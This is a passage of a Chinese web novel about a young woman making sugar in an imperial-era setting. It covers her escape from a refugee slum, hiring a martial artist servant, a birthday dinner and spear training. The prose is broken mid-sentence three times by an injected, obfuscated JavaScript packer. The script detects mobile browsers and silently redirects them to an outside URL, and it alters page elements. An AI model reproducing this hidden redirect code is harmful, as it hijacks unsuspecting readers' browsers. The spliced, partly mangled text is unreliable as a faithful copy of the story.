万柳此刻也转过身，摆脱那只镶在自己肩膀的手，“若是在银两上面有什么需要，我姊妹二人必会出手相助。” 说着又拿出自己的荷包，递给他们。 然而，没有人回应。 艾从雪暗道：完了，不收钱财，那收的可就是别的东西了。 阳光透过叶隙洒在她身上，并不温暖，反带着刺骨的寒。 却见一人按耐不住，抢过万柳的荷包，扒开一看，没再说话，径直塞进自己衣服里。 艾从雪见有戏，立刻又掏出自己的钱，道：“刚刚那荷包内有白银数十两，我这里还有十几两，诸位若不嫌少，都可拿去。” 几十两白银！ 剩下几人听见这话，厉声道：“拿出来！” 艾从雪给几人看了看自己荷包中的钱后，竟是又扔给了方才拿万柳钱财的人。 这一扔，直接引得几人哄抢，艾从雪拉着万柳拔腿就跑，生怕那些人反应过来。 不知道跑了多久，二人终于离开那流民窟，看见停在外面的马车。 方才万柳让马夫看着车，因此他并未进去，见状道：“东家怎的如此慌乱，可是出了什么事？” 万柳扶着车身，心有余悸，道：“无碍。” 艾从雪脚一软，瘫坐在地上，大口喘着粗气，刚想说什么，就见一人从流民窟的方向冲出来。 8. 寿辰 小麦色的皮肤，头发乱糟糟的，身上的衣服虽有补丁但十分干净。 “庄图南？”艾从雪没想到他竟追了上来。 庄图南紧攥包袱的手关节发白，粗布衣领下隐约可见淤青，从包袱里拿出东西递给艾从雪，“我走时就见情况不对，在家中拿完东西后立马追出来。” 艾从雪见竟然是刚刚丢出去的荷包，惊呼道：“这是我们的钱！” 若非庄图南夺回来，艾家三口的情况怕是要雪上加霜。 万柳直起腰来，瞳孔一震，“你一个人抢回来的？！” 庄图南点点头，用沙哑的声音回答道：“追上来时看那几人在抢这东西。” 庄图南知道这是个表现的好机会，说得简单，一个人打三个人还是有些力不从心。 幸好流民窟的人三天吃不上两顿饭，吓吓艾从雪她们还好，对上庄图南则明显处于下风，只能凭借人数优势。 庄图南当时佯装踉跄摔倒，待佝偻如虾米的流民们绷直脊背扑向自己，反手抓起沙土扬向对方眼窝，趁惨叫声起，抢过荷包便跑。 都说双拳难敌四手，艾从雪感觉自己捡到宝了，这可是能敌七八手的人才，跟着自己去榨甘蔗恐怕都是一种埋没。 “能不能现在就给我一两银钱。”庄图南说完又顿了顿，补充道：“我不会跑的。” 艾从雪没多问，毕竟庄图南抢过荷包还给她们已经证明他不是品行不端之人。 她从荷包内拿出一两碎银递给庄图南，“这一两银子就当是买下你，记得日落后在城门口等我。” 一旁的万柳打断二人对话，“别在城门口了。”掏出自家酒楼的信物道：“你忙完且先在城中的听雨楼内候着，这是信物，有它你就能进城。” 庄图南当即跪下磕头：“多谢贵人。” “行了，快去吧，再晚些铺子都要关门了。”万柳把庄图南拉起来说道。 庄图南低头道谢，扎好包袱后往京城方向走去。 艾从雪远远看着庄图南背的灰布包袱，那棱角分明的形状让她突然意识到什么，“什么铺子？” “卖死人用品的。”说完万柳拉过艾从雪就进马车。 拿起桌上早就凉透的茶，一口下去，清醒不少，“那孩子包袱里装的是骨匣，怕是家里出事才沦落到这里的。” 艾从雪紧绷的肌肉放松下来，“也是命苦。” “这里的人哪有命好的，他能有自救的心已是可贵。”万柳靠在马车的软垫上，感慨道。 马车碾过土地的声音低沉，群山交叠在云雾之中，艾从雪双手紧握，那些贪婪目光烙在脊背的灼烧感仍未消散。 她思索着方才的事情，玩笑般说道：“那庄图南也聪明，发现不对后立马追上来，若是咱再迟一会，就是一段英雄救美的佳话。” 万柳随手拿起一手帕，砸到艾从雪身上，“你这小娘子，这么可怖的事还开起玩笑，当真是心大。” 艾从雪接过帕子笑道：“苦中作乐而已。” 上辈子艾从雪父母双亡，可不就是一直苦中作乐过来的。 “艾娘子晚上可有时间？”万柳身子前倾，手肘抵在桌上撑起下巴道。 艾从雪眼皮一抬，瞧向万柳，“万老板何出此言？” “若不是我提出来这流民窟，也不会遇上这档子事，作为赔罪，艾娘子可否愿随我去吃顿饭？” “这不太好吧，要说赔罪的话，应该是我来赔罪。”艾从雪推辞道，毕竟今日之事还是她提出要买人的。 “哪里不好。”万柳指尖摩挲茶盏：“自小序科举及第后家里都没什么人，阿爷最怕冷清……你若能去，他定是欢喜的。” 都这样说了，艾从雪也不好推辞，“多谢万老板。” “别跟我客气，咱姊妹也算是过命的交情，且叫我声阿姐就好。”万柳本就对于艾从雪十分看好，经此一役后更是喜欢得不得了。 若不是艾从雪机灵，二人不死也得掉层皮，就算后面庄图南赶来，怕也是为时已晚。 艾从雪眼底闪过一丝惊诧，眨眨眼，有些不知所措。 万柳也不在乎，拿起茶壶倒了两杯茶，递给艾从雪，“来！喝下这茶咱也算是义结金兰！” 艾从雪怔愣地接过杯子，稀里糊涂地喝了下去。 今天下午真可谓是收获颇丰，既买了人还认了姐姐，这姐姐人还挺好，直接把艾从雪送到家门口。 “从雪我先走了，晚上来接你！”万柳扒着窗户朝艾从雪喊道。 艾从雪招手回应：“多谢阿姐！” 万柳走远后艾从雪才提药转身进屋，“阿爹，我回来了！” “怎的现在才回来，可是出什么事了？”床上不能动弹的艾升荣僵着身子，脖子，一歪问道。 “没什么，从牙子那买的人晚上就来。” 艾从雪给艾升荣盛了碗水，扶他喝下后又马不停蹄地去熬药。 “雪儿回来了。”煮糖的林晚听见动静招呼道。 艾从雪在灶屋翻箱倒柜，蹭了一鼻子灰，“阿娘，咱家煮药的砂锅在哪？” “砂锅？你去看看是不是让你阿爹拿到后院盛糖了，我记得在这里。” 林晚盯着锅里的糖浆说道，一点眼神都没分给艾从雪，生怕把糖给煮坏。 艾从雪认命地跑到后院，找了一圈都没发现东西在哪，垂头丧气地回到灶屋。 砂锅竟然从刚刚翻过的地方凭空出现！ 艾从雪瞪大眼，满脸不可置信。 “我就说在那，一找就能找出来的。”林晚站在一旁无奈道。 熬完糖的她见艾从雪还没回来就随手翻了翻，明明就在那里，偏偏自己女儿看不见，真是愁人。 艾从雪讪讪一笑，“还是阿娘厉害～” “行了，正好现在糖也熬完了，我来熬药。” “那我去收拾后院的屋子，总不能让人睡院子里。” 正好艾家后院有个柴房，收拾收拾倒是能住人。 一忙起来时间就过得飞快，艾从雪在橙红色余晖照在身上时才发觉竟已到傍晚。 连忙把扫帚扔下，跟林晚说一声后刚走到城门口，就见万柳在那候着。 “从雪！”一瞧见人影立马大声喊道，生怕艾从雪没看见她。 艾从雪一路小跑过去，问道：“阿姐，庄图南呢？” “在酒楼待着呢，待会我让人把他送到你家。”说完拉开马车帘子让艾从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280368|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪进去。 “咱先去阿爷家吃饭，晚会儿我送你回去。” 艾从雪听见这话上马车时险些绊倒，这也太速度了。 “怎的那么不小心。” “阿姐，我还没准备东西。”到底是见长辈，更何况还是寿辰，不带点东西总显得不礼貌。 万柳拍着她的肩膀安慰道：“你可是我妹妹，不用担心，你到那只负责吃就好。” 艾从雪眼皮一跳，总感觉自己上了贼船，双手捧起杯子，吸溜一口—— 没晕过去，应该没事。 马车摇摇晃晃，终于是抵达万柳阿爷家。 这房子从外面看倒是寻常人家的样子，艾从雪原先还以为也是城内那种气派的府邸。 刚随万柳迈进门内，就听见个沧桑却有力的声音：“小序那孩子怎么还没来？” “等等就来了，您老人家寿辰，他不来我可是要打他的。”万柳笑吟吟答道。 “阿爷看看我带回来个谁？” 万老爷子眼神不好，眯着眼瞧了好一会儿，手中拐杖一震，惊喜道：“看着是不错，俊俏得很，就是矮点，有就好！有就好！ 没想到老头子我有生之年还能见你找到夫婿，可喜可贺啊。” 艾从雪双眼瞪得老大，侧头望向万柳，眼神暗示她，这是什么情况？ “阿爷！眼神不好就别乱说话。”万柳笑容一僵，“这是我刚认的妹妹，” 万老爷子脸一板，“真是不经逗，哼，我就算再老眼昏花也能认出男女。” 转头又呵呵一笑问道：“你这孩子叫什么名字啊？” 艾从雪见他问自己，恭敬回答道：“晚辈姓艾名从雪。” “从雪，从雪好啊。”万老爷子点点头，“倒是和小序很搭，当不成孙婿当成孙媳妇也好。” 万柳馋着老爷子的胳膊，把他推进屋内：“好了好了，您老人家别乱点鸳鸯谱，可别吓到从雪。” “没事，阿爷开心就好。”这万老爷子的性子倒是让艾从雪想到自己上辈子的师傅。 那也是个老顽童，一辈子无儿无女就收下艾从雪一个传人，还是个只会熬糖的。 对艾从雪那叫一个恨铁不成钢，只可惜艾从雪可能是个天煞孤星，还没等到她拿奖师傅就撒手人寰。 因此她对于万老爷子的行径接受良好，仿佛见到自己师傅般亲切。 艾从雪进内屋时才发觉万家麻雀虽小五脏俱全，这里的摆设像极了听雨楼。 万柳察觉艾从雪的目光，解释道：“这里与酒楼都是我亲手布置的，摆设都是小序那孩子拿来的。” 说曹操曹操到，一声嘶鸣自门外传来，黑衣男子翻身下马，径直走进屋。 “哼，还知道过来啊，我以为我在你眼里早死了。”万老爷子头一扭，阴阳怪气道。 玄序弯腰低头，轻声道：“阿爷，我公务繁忙抽不开身，今日处理完案子就赶过来了。” “罢了，罢了，起码记得来上坟。”万老爷子翘起拐杖敲了敲玄序的腿，“来看看我给你找的新媳……” 话还没说完，自己先乐得呛了茶。 万柳在一旁笑得前仰后合，又怕出事，连忙拍万老爷子的背。 9. 正轨 玄序颇为无奈地倒了杯温水递过来，“我志不在此。” 缓过劲的万老爷子双手拄着拐杖，鼻子里喷出气，“你们姐弟俩一个两个都不让我省心。 像我这么大岁数的早就该抱重孙了，老头子我死不瞑目呦。” “小序好不容易来一次，阿爷你再这样他又要跑了。” 万柳挎着艾从雪的胳膊，“我这不给您又找了个孙女。” 艾从雪点点头，眼睛微弯，嫣然一笑，“是啊，阿爷，今日您寿辰，热热闹闹的多好。” “难得那么多人陪着，老头子不跟你们计较。”满是褶皱的手一拍椅子，“都吃饭吧，尝尝口味如何。” 各式各样的菜挤在红木圆桌上，裹着暖黄灯光炼出的色泽。 “来，从雪，这是我最喜欢的，专门让厨子做的。” “多谢阿姐。” “乖孙，尝尝这个。” “多谢阿爷。” “这个也好吃。” “还有这个……” 东一筷西一筷地投喂，艾从雪前方的碗早就堆成小山，根本停不下嘴，她算是知道万柳的自来熟像谁了。 低头喝羊肉汤时忙里偷闲地往玄序那一瞥，他倒是吃得悠闲，“阿爷阿姐，怎么不给玄大人夹菜？” “他就喜欢些甜口的，都在面前摆着呢，用不着给他夹。”万柳用公筷从玄序面前的盘子夹来一块，“小序最爱吃这个，从雪你也试试。” “还玄大人，在我这他在厉害也是个孙子。”万老爷子听见艾从雪的话不忿道：“当上官之后就忘了我这苦命的老人咯。” “从雪你叫声阿兄得了，省得阿爷再生气。”万柳在一旁打圆场，又给万老爷子捏捏肩膀道：“今晚我就不回酒楼了，陪您说说体己话。” 昨日针锋相对，今夜称兄道妹，好一个命运捉弄。 “小序去把我的酒拿来，还在老地方，要绑着蓝布条的那坛。”吃到兴头上，万老爷子往椅子后一靠，扬起下巴说。 万柳嗔怪道：“又喝上了！” “今日是我生辰，指不定哪天就死了，就喝一点点。”万老爷子耸肩伸手比划了一下，转而又小声嘀咕：“好不容易那么热闹，喝口酒怎么了。” 忙着吃的艾从雪抬眼就看见万老爷子企图拉她入伙，“乖孙你说对不对。” 艾从雪左看看万柳右看看万老爷子，大脑飞速运转，“阿爷今日寿星最大，这酒自然要喝，俗话说‘小酌酒巡销永夜’①，咱只小酌一杯，讨个彩头如何？” “只能喝一杯，别多喝。”万柳也不想扫了兴，无奈道。 玄序从叫他拿酒时就已经站起身，见万柳松口，说道：“那我去拿。” 屋外淅淅沥沥下起雨，玄序一进一出带来不少凉意。 万柳瞧见玄序提的那坛酒，诧异道：“阿爷竟舍得把这坛拿出来。” “都尝尝老头我亲手酿的酒。”万老爷子有了酒整个人精气神都不一样了。 艾从雪拿起被玄序倒满的酒杯，小酌一口，甜味掺着花香，“阿爷酿的酒果然好喝！” “这是阿爷珍藏多年的佳酿。”万柳喝得面色微红，“今日要不是有从雪，我可能都喝不上呢！” 酒过三巡，万老爷子说是只喝一盅，实际上不知道偷偷喝了多少，半眯着眼睛哼起小调。 喝着屋外风雨声，别有一番风味。 “阿爷先前在鸿胪寺任职时，最喜这场戏，整日在我耳边念叨。”万柳见艾从雪听得入迷，解释道。 鸿胪寺是华朝专门设立的接待外宾的地方，华朝风气开放，不少外族国家前来学习交流，万老爷子之前竟在那儿。 小调戛然而止，随之而来的是打鼾声。 万柳扶额一笑，“连醒酒汤都没喝上就睡了，当真是喝多了，你俩千万记得喝，不然明天怕是会头疼。 这雨不知道啥时候停，小序你也别骑马了，顺路和从雪坐马车回去。我留下照顾阿爷，明日再进城。” 几句话的功夫，把艾从雪和玄序安排的明明白白。 二人喝完醒酒汤后，坐上马车共处一室。 沉默。 入秋后的夜晚泛着凉意，昏暗的车内只能勉强看见个人影，艾从雪紧贴车厢，无意识地摆弄手指。 呼吸声此起彼伏，互相勾连纠缠。 良久，衣服的摩擦声参与其中。 随后，一声轻咳刺破寂静。 “先前多有得罪，还望艾娘子见谅。” “无碍。” 艾从雪放松下来，她不是个记仇的人，既然已经道歉也就没必要咄咄逼人，何况自己还拿他的身份打幌子。 车厢内满是艾从雪身上的味道，玄序自小嗅觉灵敏，更是感觉掉进蜜罐。 贡糖一案牵扯到那个人，任何相关的事都不能放过，然而对于错处，他亦不会否认。 “玄大人既是监察官，民女斗胆问一下您可否知道如何给手下的人登记？” 她的称呼依旧是客气的玄大人，十分有分寸。 “直接去官府就好。” 艾从雪乐了，甜味随着动作时浅时浓，“报玄大人的名字？” 玄序点点头，又想起对方看不见，张口道：“嗯。” 当真是有权能使鬼推磨，艾从雪原先还想着要多跑几趟，这下可好，背靠大官，一步到位。 了却心中之事，艾从雪也没了挂念，知道玄序不爱说话，便不再多说，拉开车帘让车内燥热的温度降下来。 马车轱辘声碾过泥泞的小路，艾从雪望着窗外零星灯火，脑中已盘算起明日要补多少斤糖。 到底是多喝了些酒，艾从雪回到家倒头就睡，恨不得睡他个几百年。 好在心里还记挂着自家债款与庄图南户籍之事，日上一竿就爬了起来。 滴了一夜的雨，空气中还带着泥土与青草混合的涩味。 艾从雪收拾好想着去后院看看庄图南。 昨日夜里没见到，这大早上猛地看到倒有些新奇。 先前流民窟时庄图南的脸一直被乱糟糟的头发挡着的，眼下却是梳洗干净了。 眼睛长且薄，双眼皮淡淡抹在上面，纤瘦的鼻子，微凸的薄唇。只是从左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280369|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腮到眉尾有条崎岖的疤痕附在上面，打破了原本有些女态面容，更显坚毅。 艾从雪匆匆扫了一眼那疤便没再多看，“比在流民窟时精神多了，等会儿去官府那登记。” “你这月例，就按五百文一月可行？”这数目还是艾从雪在万柳那打探的，京城的仆人大多都是这个工钱，也不算亏待了他。 庄图南一愣，接着低头应下，“多谢艾娘子。” 声音还是沙哑的，终于让艾从雪找到些熟悉的感觉。 今日街上不似前几日那样祥和。 刚到城中，艾从雪就听见周围吵吵闹闹的，都在说什么“老天有眼”之类的话。 “大娘，这是发生了何事？”艾从雪探着头向旁边也在看热闹的大娘询问。 “上头有个贪污的，马上要砍头呢。”那大娘抬起胳膊比划，眉飞色舞的，“砍头好啊，去岁南边水灾，我闺女受了不少苦，都是这些人害的！” 罪臣伏诛，确实可喜可贺，也怪不得街上那么多人。 那大娘说起话来滔滔不绝，“一窝子烂人！那贼人家里边的也都得跟着死！” 这还是艾从雪第一次经历这种事情，虽说有些好奇，但继续看下去怕是要耽误时间 拍了拍也在看热闹的庄图南道：“别看了，正事要紧。” 庄图南回过神不再看那，紧跟在艾从雪身后。 只是没想到，路上竟还能看到后续。 那一大家子人在街上游行示众，后面甚至还写了罪证。 看见那行字，艾从雪眉心一跳，十几万两白银！随便漏点都够她吃香的喝辣的了，何苦日夜不休地制糖。 到了官府，登记倒是顺利，想来是玄序提点了几句，真是背靠大树好乘凉。 名册上刻下男庄图南四字，一纸契书就让他摆脱了流民的身份。 办完正事，终于要回家继续制糖，昨日里停了半天，今天可得补上，不然到下月怕是交不了差。 好在庄图南牛犊似的，虽说身量不高，力气却大得很，榨汁的速度比起艾升荣还要快上不少。 不仅是榨甘蔗，出门砍柴的活也由庄图南揽下。 照这个速度下去，这个月或许还能休息几天。 艾家制糖终于走上正轨。 一团一团的烟不休止地从烟囱里冲出。 艾从雪感觉自己都要骨肉分离，那庄图南却看不出一点疲惫。 要知道推榨蔗机是最累人的活计，一直投放甘蔗的艾从雪尚且能趁空闲缓一会儿，而庄图南必须要一直推。 直到一次起夜时，听到后院棍子抡动带起的响声，艾从雪更加感慨自己慧眼识珠，挑了个神人。 借着月光，庄图南手持不知道哪里捡的木棍挥舞着，下劈、上撩、反身横扫，每一招都带着势不可挡的气势。 “好！”艾从雪虽看不懂招式，但从那气势也能看出庄图南的功底扎实。 庄图南收势行礼：“艾娘子可是有事？” 艾从雪眼中带着欣赏道：“无事，正好听见这里的声音过来看看。你这是每晚都在此练习？” 10. 救星 “夜里辗转难眠便想着随手练练。” “我看你这打招得虎虎生风，可是有师承？”原以为庄图南只是会些拳脚功夫，今日一看真是把艾从雪震住了。 庄图南低头答道：“幼时跟师傅学的，家中因水灾突发变故，才逃到这来。” 天灾人祸当真是害人不浅，若无这祸事庄图南想必也不会沦落至流民窟。 思及此艾从雪想起自己被流民追时的无力感，开口道：“可否教与我这招式？月例可以再加上二百文，如若不行，就当我没说，不必有负担。” 庄图南一怔，似是没想到艾从雪会这样说，弯腰行礼道：“艾娘子有意学习，图南自是不敢推辞。” 艾从雪虽对庄图南礼数周全的行为不太适应，还是状若无事地点点头道：“那我们何时开始？” 眼下已然深夜，明日还要早起制糖，现在学习不太现实。 “明日卯时四刻开始，我先看看你基础如何。”庄图南思索后说道，比平日起床早半个时辰，正好不会耽误正事。 艾从雪对提升自己能力的事一向认真，天还未亮便早早起来换了身轻便的衣服。 正想着到后院跑几圈热热身，推开后院木门却发现庄图南早已在院中，此刻正在扎马步。 “庄师傅也这般早？”艾从雪看着庄图南笑道。 庄图南惶恐地起身摇头说道：“图南不敢称师傅，不过是会些花拳绣腿罢了。” “教我东西的就是师傅，不必争执这个称呼。” 庄图南垂眸退后半步，似是要说什么，最终只是沉默着将木棍横在身后，正色道：“既然艾娘子已经过来，那先扎马步适应适应。” 艾从雪依照记忆中马步的样子摆了个架势。 “屈膝。”庄图南手上不知从哪捡了个小木棍，轻敲了下艾从雪不标准的膝盖。 “把肩沉下去，不要塌腰，感受哪里发力。” 艾从雪没想到自己的动作竟如此不标准，在庄图南不断纠正下才终于摆出正确的姿势。 只是时间一长，全身的骨头要散架似的，叫嚣着要起身，艾从雪咬牙死死坚持，这么一会儿额头就已布满细密的汗珠。 庄图南看见艾从雪的腿已在不断发抖，还是不放弃的样子，出声叫停：“初学者先循序渐进，方才数息的时间是让你先适应下，之后才算正式开始。” “那我什么时候可以学棍法？”艾从雪揉着腿问道。 “棍法？”庄图南眉头微皱，过了好一会儿恍然大悟道：“先练半月，之后看效果再考虑枪法的事。” “好的庄师傅，做事不能急于求成，我会打好基础的。”艾从雪顺势接话，若无其事地略过自己眼拙一事。 自此，艾从雪每日便早起一个时辰跟庄图南学习，学完之后紧接着榨甘蔗，等到晚上又会自己加练，争取早日学上真正的招式。 林晚看得心疼，却知女儿性子执拗，只是每天都往艾从雪的饭里多卧个鸡蛋，恐怕自己女儿饿到。 夏日残留的暑气逐渐消散，后院的蟋蟀声一日比一日清亮，晨起练功时，总能看到薄薄的雾霭。 一日熬完糖，林晚指向天空道：“雪儿快看，燕群南飞，怕是要到中秋。” 艾从雪才反应过来自己来已经这个世界快一月，上辈子都是自己一人从来不过什么中秋，这辈子倒是能阖家团圆。 不过艾家拢共就三人，艾升荣还卧病在床，家里又忙着制糖，所谓中秋节也不过是多了几道菜喊上庄图南吃了顿，就这还吃得艾从雪鼻尖酸涩。 八月底时，艾从雪已经能稳稳扎完一炷香马步，过几天就可以学习招式，艾升荣也恢复得不错已经可以下地走动。 虽说艾升荣出事耽误了些制糖时间，但庄图南的到来弥补了这些时间，月末成功制出八十斤赤糖，足以向万柳交差。 这些时日里艾从雪进城多是去采买甘蔗，忙得脚不沾地，也没时间去听雨楼看看情况。 万柳曾差人来报信，说是姜撞奶的方子颇受欢迎，剩下的却并未多说。 艾从雪在码头买甘蔗时听人谈起过听雨楼，但家中急着制糖，只草草听了几嘴，说什么最近挺红火的，想来自己这阿姐也是忙得很。 如今去送货，正好去看看具体是个什么情况。 这八十斤赤糖不是个小数目，艾从雪平日用板车运甘蔗随意往车上一放就好，陶罐装着的糖还得让人扶着，于是叫庄图南过来，二人一起去听雨楼送货。 听雨楼外面挂起大红绸，还有小厮在门外吆喝，一派红火景象。 艾从雪让庄图南从侧门把糖送进去，自己先进楼内找万柳。 听雨楼如今的客人比上次艾从雪来时多不少，大多桌上都摆了份姜撞奶，有些下面万柳还颇为周到的放着冰鉴。 扭头望向柜台，只见万柳低着头，手上算盘“啪啪”作响，手指都飞出残影。 艾从雪看得眼都要花了，手指扣扣桌面，脆声道：“听雨楼的货来咯！” 万柳听见动静抬起头，刚想问什么货，见对面是艾从雪，见了救星般，面上阴翳一扫而光，整个身子探出柜台，径直拉住艾从雪，“祖宗哟，你可算是来了。” 说完拽着艾从雪就往后厨走，恨不得立马见到货，问道：“糖在哪呢？” “应当还在院子里，阿姐如此急切，可是出了什么事？” 闻言万柳转身向院子走去，艾从雪小跑着才跟上她的步伐。 “你那方子不知道被哪个杀千刀的学去，眼下整个京城都有姜撞奶，你看着现在楼里人挺多，实际上都是我压价才来的。” 万柳说这话时指节攥得发白，声音都变得有些刺耳，恨不得将偷学的人千刀万剐，旋即放松下来，面上恢复了往常大大咧咧的样子。 “虽说那方子不难，被学去并不意外，可没想到那么快传得整个京城都是。 现如今你来了正好，即便他人仿制，用这批糖制出来的东西也必定更胜一筹，听雨楼是我毕生的心血，可不能出问题。” 在院子里搬糖的庄图南见二人过来，低头用沙哑的声音问候。 万柳直接扣开陶罐封层，伸手掰了一块放进嘴里，质量一如既往的好。 京城贵人要的不是山珍海味，而是独一份的体面，这赤糖正投其所好。 由此也能提高她听雨楼在京城的知名度，从前是普通酒楼，今后她要一步步向上爬。 当年阿爷因收养玄序加上边境战乱被弹劾打压，选择告老还乡，而玄序还是个正在上私塾的小孩。 若不是靠这酒楼，一家子怕是要喝西北风。 即使如今玄序已经成为大官，她完全可以借玄序的势力让酒楼更上一层。 万柳仍然执拗地要全凭自己，当初开酒楼的钱都是自己挣出来的，如今也不需要靠家人。 因此当看见艾从雪这个契机时，她死死抓住了。要是此刻出问题，万柳恨不得投湖自尽！ 万柳长舒一口气，舌尖残留的甜味如同定海神针稳住她的心绪，把她从回忆里拉回，万柳轻笑一声转而打量立在一旁的庄图南。 看了好一会儿才调侃道：“不过一个月没见，我都认不出来了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280370|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧着是圆润些！从雪那伙食挺好啊。” 庄图南不自在地整了整衣衫，低头连连称是。 万柳见庄图南这样子伸手去捏他的胳膊，却被庄图南侧身躲过，佯装生气道：“你这孩子，怎的，碰一下都不行？” “图南没有，只是不太适应。”庄图南哑声解释，唯恐万柳真的生气。 艾从雪抿嘴笑道：“图南就这个样子，阿姐不要在意。阿姐看见这糖可安心了吧，这几日我还想着制另一种糖，等制出来就拿来让阿姐瞧瞧。” “从雪当真是我的福星！”万柳听见这话来了兴趣，追问道：“是什么糖？” 艾从雪眉毛一挑，眼睛转了又转，却是怎么也不肯说。 万柳见状只能作罢，“制出来后可千万要到我这来，让我这个做阿姐的瞧瞧。” “怎么也不会忘了阿姐的。”艾从雪拉过万柳的手，轻拍几下让她放心。 万柳将钱袋郑重塞进艾从雪掌心，满怀希冀道：“有你这句话我就放心了，下月赤糖糖量照旧。” “城东赵家的酒楼今早挂牌卖‘万氏姜撞奶’，他们连名字都懒得改。”她嗤笑一声，眼中火光灼灼：“从雪，我相信你。” 艾从雪掂量着这钱重量不对，睫翼微颤，扬起笑容道：“从雪自是不会辜负阿姐的期待。” 万柳见艾从雪收下，脸上笑意更胜。 回去的路上艾从雪打开那荷包一看，果然不出所料。原先这些糖应是十六两，眼下却多了四两。 艾从雪知万柳意图，她本就有意继续与万柳合作，亲兄弟尚且明算账，万柳是聪明人，聪明人多出的这钱正中她下怀。 庄图南从后面拉木板车，艾从雪走在前面欣赏路上的花草树木，那黄灿灿的秋色像极了金子，瞧着甚是可爱。 先前忙着还债一刻不敢停，如今债款已有大半，剩下两月，只要不出问题定能还清五十两。 眼下最重要的就是制出霜糖，这个时代还没有这东西，制出之后必然会红极一时。 自己的暴富大业就要提上日程，走上人生巅峰指日可待！ 这样一想，干活都有劲了。 而且今天得闲，正好可以向庄图南学习他那一身枪法。 虽说还没开始，艾从雪已经开始畅想自己鲜衣怒马，手握长枪，英姿飒爽的肆意模样。 木棍机械地挥起、落下，艾从雪终于明白——什么鲜衣怒马少年郎，都是骗人的。 庄图南让她一个招式先练上百八十遍，光是前刺这个动作，艾从雪就练了一下午，枯燥得让人发疯。 庄图南不断纠正她的错误，小木棍毫不留情地敲向艾从雪发颤的手，“再来。” 为了面对贼人的时候不再是只能逃命，艾从雪只能咬牙坚持。 似是怕艾从雪放弃，庄图南以棍为枪，为她演示了一套枪法。 只见他手腕一抖，反手握枪，身若游龙，枪如缎绸，一招一式刚柔并济，最后猛然抡起上挑，竟是出现一声枪鸣。 艾从雪看得两眼发直，先前的烦躁一扫而空，只剩下对这套枪法的渴望。 “庄师傅，我什么时候才能学会这套枪法。”艾从雪着急忙慌地问，恨不得今天就全部掌握。 庄图南也不说空话，“每日练习，一月就可学会整套，但是要想练好，需要很久。” 艾从雪点点头，心里盘算着晚上加练，庄图南却好像看透她的心思，提醒道：“不要急于求成。” 虽说艾从雪年长几岁，还是雇主，但在习武这件事上，庄图南说一不二，艾从雪只得作罢。 11. 糖霜 次日一早，艾从雪与庄图南学完今日的课业后，开始着手制糖霜。 林晚如往常一样熬煮完糖浆，艾从雪拿出早就插好的竹篾的陶罐，灌入糖浆用竹席盖上，搬进地窖里等待结晶。 糖霜畏潮惧温变，地窖温度稳定，最是适合不过。 等到寒露，就能检验糖霜成果了。 好巧不巧，这天又有人要来买艾家的赤糖。 “只要你把糖供给我家酒楼，好处少不了你的。”男子鼻孔一张一合的，正对着艾从雪，趾高气扬地说道。 “糖价几何？” 那鼻孔回答道：“我们月来酒楼给你个面子，一百五十文一斤。” 艾从雪在心里翻了个白眼，市面上的糖都还要一百六十，这月来楼真是欺人太甚。 面带微笑回道：“月来酒楼当真是大酒楼，恕难从命。” 月来楼的小厮见艾从雪竟然不同意，顿时火冒三丈，威胁道：“你可知我们掌柜的是谁？” 艾从雪抓住两边大门，嘴角翘起讥笑的弧度，“我管你是谁？律法可不是摆设，强买强卖等着入狱吧！”说完直接“砰”的一声把门关上。 小厮差点被门环打到脸，气得破口大骂道：“别给脸不要脸，我们月来酒楼能要你的糖那是看得起你！” 这差事本是他好不容易抢来的，本以为能借此讨好掌柜，谁知道这艾从雪如此不知好歹，现在空手而归，免不了要受责罚。 见无人应答，狠狠踹了几脚。但这大门可是经过艾升荣的加固，不仅纹丝不动，还险些让小厮崴到脚。 听着门外的动静，艾从雪噗嗤一笑，摇了摇头回屋继续制糖。 林晚听见动静，随口问道：“这几天不知道来多少人想买糖，今儿怎么出去那么长时间？” “先前那几个酒楼好歹还是掌柜亲自来，虽说给的诚意不如万老板，最起码态度诚恳。” 艾从雪搅拌着锅里的糖，眼底满是不屑，继而说道：“今日这个别说涨糖钱，甚至是派来个不知道干什么的小厮。” 林晚听见这气得把手中木柴一摔，落在地上溅起几颗火星子，“这么看不起人的东西，买咱家灶灰都不配！卖给他我林晚跟他姓！” 这一摔火势骤减，艾从雪一手搅糖，一手捡起那根木柴塞回灶膛里，“阿娘，消消气，方才差点坏了火候。” 林晚回过神来，死死盯着火势，一刻也不敢分神。 熬完这最后一锅，艾从雪起身去后院地窖取糖，还忙里偷闲地打了一套枪法。 